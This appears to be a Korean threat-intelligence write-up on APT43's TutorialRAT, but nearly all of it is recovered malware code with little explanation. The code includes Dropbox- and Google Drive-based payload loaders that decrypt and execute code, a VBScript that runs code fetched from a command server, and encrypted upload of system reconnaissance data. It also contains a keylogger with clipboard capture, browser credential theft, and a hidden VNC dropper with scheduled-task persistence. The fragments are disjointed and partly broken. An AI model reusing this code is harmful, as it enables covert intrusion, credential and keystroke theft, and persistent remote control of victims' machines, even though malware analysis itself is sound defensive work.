APT43 배후의 다단계 드롭박스 명령과 TutorialRAT

   Add-Type -AssemblyName System.Windows.Forms
   Add-type -AssemblyName System.Drawing
   $name2 = "makeProbe1";
   #$path = ".\clientx64.bin";
   #$bytes = [System.IO.File]::ReadAllBytes($path);
   # Access Token 요청
   #Access Token 가져오는 부분

    # Access Token 요청
   $tokenEndpoint = "https://api.dropboxapi.com/oauth2/token"
   $response = Invoke-RestMethod -Uri $tokenEndpoint -Method Post -Body $body
   $accessToken = ""
   # 요청 결과 확인
   if ($response.access_token) {
       $accessToken = $response.access_token
       Write-Host "새로운 Access Token: $newAccessToken"
   } else {
       Write-Host "Access Token을 가져오는 데 실패했습니다."
       Write-Host "에러: $($response.error_summary)"
   }
   $downloadUrl = "https://content.dropboxapi.com/2/files/download"
   #$accessToken = "sl.Bqs[일부 생략]Ak"
   $remoteFilePath = "/step5/r_enc.bin"
   $request = [System.Net.HttpWebRequest]::Create($downloadUrl)
   $request.Method = "POST"
   $request.Headers.Add("Authorization", "Bearer $accessToken")
   $request.Headers.Add("Dropbox-API-Arg", '{"path": "' + $remoteFilePath + '"}')
   $response = $request.GetResponse()
   $receiveStream = $response.GetResponseStream()

Function Load
{
   function GzExtract {

       [CmdletBinding()]
       Param (
           [Parameter(Position = 0, Mandatory = $True)]
           [byte[]] $byteArray = $(Throw("-byteArray is required"))
       )
       Process {
           $input = New-Object System.IO.MemoryStream(, $byteArray )
           $output = New-Object System.IO.MemoryStream
           $gzipStream = New-Object System.IO.Compression.GzipStream $input, ([IO.Compression.CompressionMode]::Decompress)
           $gzipStream.CopyTo( $output )
           $gzipStream.Close()
           $input.Close()
           [byte[]] $byteOutArray = $output.ToArray()       

           return $byteOutArray
       }
   }

       if ($receiveStream -ne $null) {
       $streamReader = New-Object System.IO.StreamReader($receiveStream)
       $memoryStream = New-Object System.IO.MemoryStream
       $buffer = New-Object byte[] 1024
       $read = 0
       do {
        $read = $receiveStream.Read($buffer, 0, $buffer.Length)
        $memoryStream.Write($buffer, 0, $read)
        } while ($read -gt 0)
       $enc_bytes = $memoryStream.ToArray()
       $length = $enc_bytes.Length
      [byte[]]$exBytes = GzExtract ($enc_bytes)
      $length = $exBytes.Length
      $assembly = [System.Reflection.Assembly]::Load($exBytes)
      foreach ($type in $assembly.GetTypes())
      {
        foreach ($method in $type.GetMethods())
        {
           if (($method.Name.ToLower()).equals($name2.ToLower()))
           {
               $instance = [System.Activator]::CreateInstance($type)
               $method.Invoke($instance, "[BASE64 일부 생략]")
               #[namespace.Class]::Main($parametre)
               #$instance::Main()
           }
         }
       }

'download module
Const HTTP_METHOD = "POST"
Const DROPBOX_API_ENDPOINT = "https://content.dropboxapi.com/2/files/download"
'Const ACCESS_TOKEN = "[생략]"
Const REMOTE_FILE_PATH = "/step5/info_sc.txt"
objHTTP.Open HTTP_METHOD, DROPBOX_API_ENDPOINT, False
objHTTP.SetRequestHeader "Authorization", "Bearer " & ACCESS_TOKEN
objHTTP.SetRequestHeader "Content-Type", "application/octet-stream"
objHTTP.SetRequestHeader "Dropbox-API-Arg", "{""path"": """ & REMOTE_FILE_PATH & """}"
objHTTP.Send

strHost = "gbionet[.]com"
strAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
pwd = "pa55w0rd"

If ver < 10 Then
   vTxt = "On Error Resume Next:With CreateObject(""InternetExplorer.Application""):.Navigate ""http://" & strHost & "/inc/basl/up1/list.php?query=6"":Do while .busy:WScript.Sleep 100:Loop:bt=.Document.Body.InnerText:.Quit:End With:Execute(bt)"
   Reserve vPath, vTxt
   Reg vPath

   $sysInfo = SystemInfo; $sysInfo = ArrayToString($sysInfo);
   $upData = "++++++++++++++++ System ++++++++++++++++`r`n" + $sysInfo + "`r`n`r`n";  

   $taskList_v = tasklist; $taskList_v = ArrayToString($taskList_v);
   $upData += "+++++++++++++ Task Detail +++++++++++++`r`n" + $taskList_v + "`r`n`r`n";

   $taskList_svc = tasklist /svc; $taskList_svc = ArrayToString($taskList_svc);
   $upData += "++++++++++++ Task Service +++++++++++++`r`n" + $taskList_svc + "`r`n`r`n";

   $firewall_st = Netsh Advfirewall show allprofiles; $firewall_st = ArrayToString($firewall_st);
   $upData += "++++++++++ Firewall Status ++++++++++++`r`n" + $firewall_st + "`r`n`r`n";  

   $av_soft = "";
   $status = Get-WmiObject -NameSpace "ROOT\SecurityCenter" -class "AntiVirusProduct";
   if( $status -ne $null ) {
       $av_soft = $status.GetText([System.Management.TextFormat]::Mof);
   }
   $upData += "+++++++++++++ AntiVirus +++++++++++++++`r`n" + $av_soft + "`r`n";

   $av_soft2 = "";
   $status = Get-WmiObject -NameSpace "ROOT\SecurityCenter2" -class "AntiVirusProduct";
   if( $status -ne $null ) {
       $av_soft2 = $status.GetText([System.Management.TextFormat]::Mof);
   }
   $upData += $av_soft2 + "`r`n`r`n";

   $user_dir = $env:userprofile;
   $appdata = $env:APPDATA;
   $path_list = @("$user_dir\Desktop", "$user_dir\Documents", "$user_dir\Downloads", "$appdata\Microsoft\Windows\Recent", "$appdata\Microsoft\Windows\Start Menu\Programs", $env:ProgramFiles, ${env:ProgramFiles(x86)});
   foreach( $path in $path_list ) {
       $upData += "++++++++++++++++ $Path ++++++++++++++++`r`n`r`n";
       $upData += ListDir -Path $path;
   }
   $upData += ListDrives;
   [Byte[]]$bytes2enc = [System.Text.Encoding]::UTF8.GetBytes($upData);
   [Byte[]]$enc_bytes = AESEncrypt -bytes $bytes2enc -pass $pass; 

   $uri += "/inc/basl/up1/show.php";
   PostBinary -uri $uri -bytes $enc_bytes -name "enc_info";
}

   # Access Token 요청
   $tokenEndpoint = "https://api.dropboxapi.com/oauth2/token"
   $response = Invoke-RestMethod -Uri $tokenEndpoint -Method Post -Body $body
   $accessToken = ""
   # 요청 결과 확인
   if ($response.access_token) {
       $accessToken = $response.access_token
       Write-Host "새로운 Access Token: $newAccessToken"
   } else {
       Write-Host "Access Token을 가져오는 데 실패했습니다."
       Write-Host "에러: $($response.error_summary)"
   }
      $ipAddress = (Get-NetIPAddress | Where-Object { $_.AddressFamily -eq 'IPv4' -and $_.InterfaceAlias -ne 'Loopback' }).IPAddress
      $time_sata = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
      $name = $name + $time_sata
      # HTTP 요청 헤더 구성
      $headers = @{
        "Authorization" = "Bearer $accessToken"
        "Content-Type" = "application/octet-stream"
        "Dropbox-API-Arg" = "{`"path`": `"/log5/$ipAddress[1]/$name`",`"mode`": `"add`"}"
       }

       # 파일 업로드 요청 보내기
       $response = Invoke-RestMethod -Method Post -Uri $uploadUrl -Headers $headers -Body $updata
   }

         
          "End IF" & vbnewline & _
           "pow_cmd = ""powershell -ep bypass -file path """"m_ps.bin""""""" & vbnewline & _
           "pow_cmd = Replace(pow_cmd, ""path"", psPath)" & vbnewline & _
           "wh = ""winmgmts:""" & vbnewline & _
           "wt = ""win32_process""" & vbnewline & _
           "set wm = GetObject(wh & wt)" & vbnewline & _
           "set ows = GetObject(wh & ""\root\cimv2"")" & vbnewline & _
           "set ost = ows.Get(wt & ""startup"")" & vbnewline & _
           "set oconf = ost.SpawnInstance_" & vbnewline & _
           "oconf.ShowWindow = 12" & vbnewline & _
           "errReturn = wm.Create(pow_cmd, Null, oconf, pid)" & vbnewline

   Function GetTimeInterval {
       param(
           [int]$oldVal
       )
       $randVal = Get-Random -Maximum 10000;
       $val = ($randVal % 8) * 10;

       if($val -lt 45) { $val += 45; }      

       $sub = $val - $oldVal;      

       if(($sub -lt 0) -and ($sub -gt -20)) { $val = $oldVal - 15; }      

       if(($sub -ge 0) -and ($sub  -lt 20)) { $val = $oldVal + 15; }      

       return $val;
   }              

   $bMute = $true;
   $muteTxt = "Main#202401094939ss0913";
   try{
       $curMute = [System.Threading.Mutex]::OpenExisting($muteTxt);
       $bMute = $false;
   }catch{
       $newMute = New-Object System.Threading.Mutex($true,$muteTxt);
   }

# Access Token 요청
      $tokenEndpoint = "https://api.dropboxapi.com/oauth2/token"
      $response = Invoke-RestMethod -Uri $tokenEndpoint -Method Post -Body $body
      $accessToken = ""
      # 요청 결과 확인
      if ($response.access_token) {
        $accessToken = $response.access_token
        Write-Host "새로운 Access Token: $newAccessToken"
        } else {
         Write-Host "Access Token을 가져오는 데 실패했습니다."
         Write-Host "에러: $($response.error_summary)"
       }
       $remoteFilePath = "/step5/ad_ps.bin"
       $request = [System.Net.HttpWebRequest]::Create($downloadUrl)
       $request.Method = "POST"
       $request.Headers.Add("Authorization", "Bearer $accessToken")
       $request.Headers.Add("Dropbox-API-Arg", '{"path": "' + $remoteFilePath + '"}')
       $response = $request.GetResponse()
       $receiveStream = $response.GetResponseStream()
       $pass = "pa55w0rd"

$scblock = {
   $Path = "$env:appdata\Microsoft\Windows\Themes\version.xml"  

   $al = @('[DllImport("user32.dll",CharSet=CharSet.Auto)]', 'public static extern', 'System.Text.StringBuilder');
   $f = @("GetAsyncKeyState", "GetKeyboardState", "MapVirtualKey", "GetForegroundWindow", "GetWindowText", "ToUnicode", "GetClipboardSequenceNumber", "IsClipboardFormatAvailable", "GetTickCount");  

   $pref = $al[0] + $al[1];  

   $clk = 'using System;using System.Diagnostics;using System.Runtime.InteropServices;using System.Security.Principal;public class CLK{[DllImport("user32.dll",CharSet=CharSet.Auto,ExactSpelling=true)]'+$al[1]+' short '+$f[0]+'(int virtualKeyCode);'+$pref+' int '+$f[1]+'(byte[] keystate);'+$pref+' int '+$f[2]+'(uint uCode,int uMapType);'+$pref+' int '+$f[3]+'();'+$pref+' int '+$f[4]+'(int hwnd,'+$al[2]+' lpText,int cchLength);'+$pref+' int '+$f[5]+'(uint wVirtKey,uint wScanCode,byte[] lpkeystate,'+$al[2]+' pwszBuff,int cchBuff,uint wFlags);[DllImport("user32.dll")]'+$al[1]+' int '+$f[6]+'();[DllImport("user32.dll")]'+$al[1]+' bool '+$f[7]+'(uint uFormat);[DllImport("kernel32.dll")]'+$al[1]+' UInt32 '+$f[8]+'();}';

    Add-Type -TypeDefinition $clk;
   Add-Type -Assembly PresentationCore;  

   $bMute = $true;
   $strMute = "Global\AlreadyRunning191122";  

   try{
       $curMute = [System.Threading.Mutex]::OpenExisting($strMute);
       $bMute = $false;
   }catch{
       $newMute = New-Object System.Threading.Mutex($true,$strMute);
   }
$CL = [CLK];
   $o_enc_mode = [System.Text.Encoding]::UTF8;
   $a_kb = New-Object Byte[] 256;
   $strBuilder = New-Object -TypeName System.Text.StringBuilder;
   $curWnd = New-Object System.Text.StringBuilder(260);
   $a_asc = @(0x2d, 0x20, 0x2E, 0x25, 0x26, 0x27, 0x28, 0x08, 0x24, 0x23, 0x11, 0x09, 0x1b, 0x01, 0x02);
   $a_str = @("▼`n", " ", "[Del]", "[<-]", "[^]", "[->]", "[v]", "[Bk]", "[Home]", "[End]", "[Ctrl]", "[Tab]", "[Esc]", "[LM]", "[RM]");  

   $oldWnd = ""; $oldTick = 0; $oldClip = 0;

    while($bMute){
       Start-Sleep -Milliseconds 1;      

       $hTopWnd = $CL::($f[3])();
       $len = $CL::($f[4])($hTopWnd, $curWnd, $curWnd.Capacity);

       if($curWnd.ToString() -ne $oldWnd){
           $oldWnd = $curWnd.ToString();
           $t = Get-Date -Format "yyyy/MM/dd`tHH:mm:ss";
           [System.IO.File]::AppendAllText($Path, "`n++++++++ [" + $t + "] [" + $curWnd.ToString() + "] ++++++++`n", $o_enc_mode);
       }
       $curTick = $CL::($f[8])();
       if(($oldTick -eq 0) -or (($curTick - $oldTick) -gt 1000)){
           $oldTick = $curTick;
           $curClip = $CL::($f[6])();
           if($oldClip -ne $curClip){
               $oldClip = $curClip;
               if($CL::($f[7])(1)){
                   $clip = "`n++++++++ [Clipboard] ++++++++`n" + [Windows.Clipboard]::GetText() + "`n++++++++++++++++++++++++++++++`n";
                   [System.IO.File]::AppendAllText($Path, $clip, $o_enc_mode);
               }
           }
       }

Function CapDesk {
   Param (
       [string] $SaveTo,
       [int] $interval
   )  

   $Script:webReqUpload = $null;
   $Script:boundary = "";
   $Script:saveURL = $SaveTo;

   $signatures = @'
   [DllImport("gdi32.dll")]
   public static extern int GetDeviceCaps(IntPtr hdc, int nIndex);
'@
   $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru      

   Add-type -Assembly System.Drawing
   Add-Type -Assembly System.Windows.Forms
   Add-Type -AssemblyName System.Windows.Forms
   Add-type -AssemblyName System.Drawing

function GetBrowserInfo {  

       Add-Type -AssemblyName System.Security;

       $appPath = $env:LOCALAPPDATA;
       $browserTypes = @("Chrome", "Edge", "Whale");
       $dataPaths = @("\Google\Chrome\User Data", "\Microsoft\Edge\User Data", "\Naver\Naver Whale\User Data");
       $emptyJSON = "{}";
       $stateRetJson = $emptyJSON | ConvertFrom-JSON;
       for ( $i = 0 ; $i -lt $browserTypes.Length ; $i ++ ) {
           if( [System.IO.Directory]::Exists($appPath + $dataPaths[$i]) ) {
               if($browserTypes[$i] -eq "Chrome" ){
               Stop-Process -Name "chrome";
               } elseif($browserTypes[$i] -eq "Edge" ){
               Stop-Process -Name "msedge";
               }
               elseif($browserTypes[$i] -eq "Whale"){
               Stop-Process -Name "whale";
               }
               $tmpPath = "$env:TEMP\" + [System.IO.Path]::GetRandomFileName();
               [System.IO.File]::Copy($appPath + $dataPaths[$i] + "\Local State", $tmpPath);
               $localStateTxt = [System.IO.File]::ReadAllText($tmpPath);

Function AESDecrypt {
   param(
       [Byte[]] $bytes,
       [String] $pass
   )
       $InputStream = New - Object System.IO.MemoryStream(, $bytes);
       $OutputStream = New - Object System.IO.MemoryStream;
       $Salt = New - Object Byte[](32);
       $BytesRead = $InputStream.Read($Salt, 0, $Salt.Length);
       if ($BytesRead - ne $Salt.Length) {
           exit;
       }
       $PBKDF2 = New - Object System.Security.Cryptography.Rfc2898DeriveBytes($pass, $Salt);
       $AESKey = $PBKDF2.GetBytes(32);
       $AESIV = $PBKDF2.GetBytes(16);
       $AES = New - Object Security.Cryptography.AesManaged;
       $Dec = $AES.CreateDecryptor($AESKey, $AESIV);
       $CryptoStream = New - Object System.Security.Cryptography.CryptoStream($InputStream, $Dec, [System.Security.Cryptography.CryptoStreamMode]::Read);
       $CryptoStream.CopyTo($OutputStream);
       $OutputStream.Dispose();
       return $OutputStream.ToArray();
   }  

$pass = "pa55w0rd";
[byte[]] $enc_bytes = (wget - UseBasicParsing "https: //docs.google.com/uc?export=download&id=1o[일부 생략]Qz").content;
$dec_bytes = AESDecrypt -bytes $enc_bytes -pass $pass;
$newString = [System.Text.Encoding]::UTF8.GetString($dec_bytes);
iex $newString;

 
Param (
           [String] $srcURL
       )

       try {
           $outPath = "$env:TEMP\" + [System.IO.Path]::GetRandomFileName();
           $exPath = $outPath.Substring(0, $outPath.LastIndexOf('.'))
           $outPath = $exPath + ".zip";
           $exPath = "$env:appdata";
           $calc_data_exe = $exPath + "\calc.zip";
           $calc_data_exe1 = $exPath + "\winvnc.exe";
           $calc_data_ini = $exPath + "\ultravnc.ini";
           $calc_run_s = $exPath + "\ultrarunv";
           $check_exist = (Test-Path $calc_data_exe);
           if( -not $check_exist ) {
               Invoke-WebRequest -Uri $srcURL -OutFile $outPath;

               
               $arg2 = " //b //e:vbscript " + $calc_run_s
               Start-Process -FilePath "wscript.exe" -ArgumentList $arg2
               #ultra schedule 등록 vbs를 down받아 화일로 떨구고 vbs를 실행시키는 shedule 등록 -Argument
               $action = New-ScheduledTaskAction -Execute "wscript.exe" -Argument "//b //e:vbscript " +  $calc_run_s  # 실행할 스크립트의 경로
               $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Hours 1) -RepetitionDuration ([System.TimeSpan]::MaxValue)
               Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "HourlyTask" -Description "Runs every hour"

           }
       } catch {
       }
   }
   ExtractSQLite -srcURL "https://docs.google.com/uc?export=download&id=1p[일부 생략]vY"
}
aaa;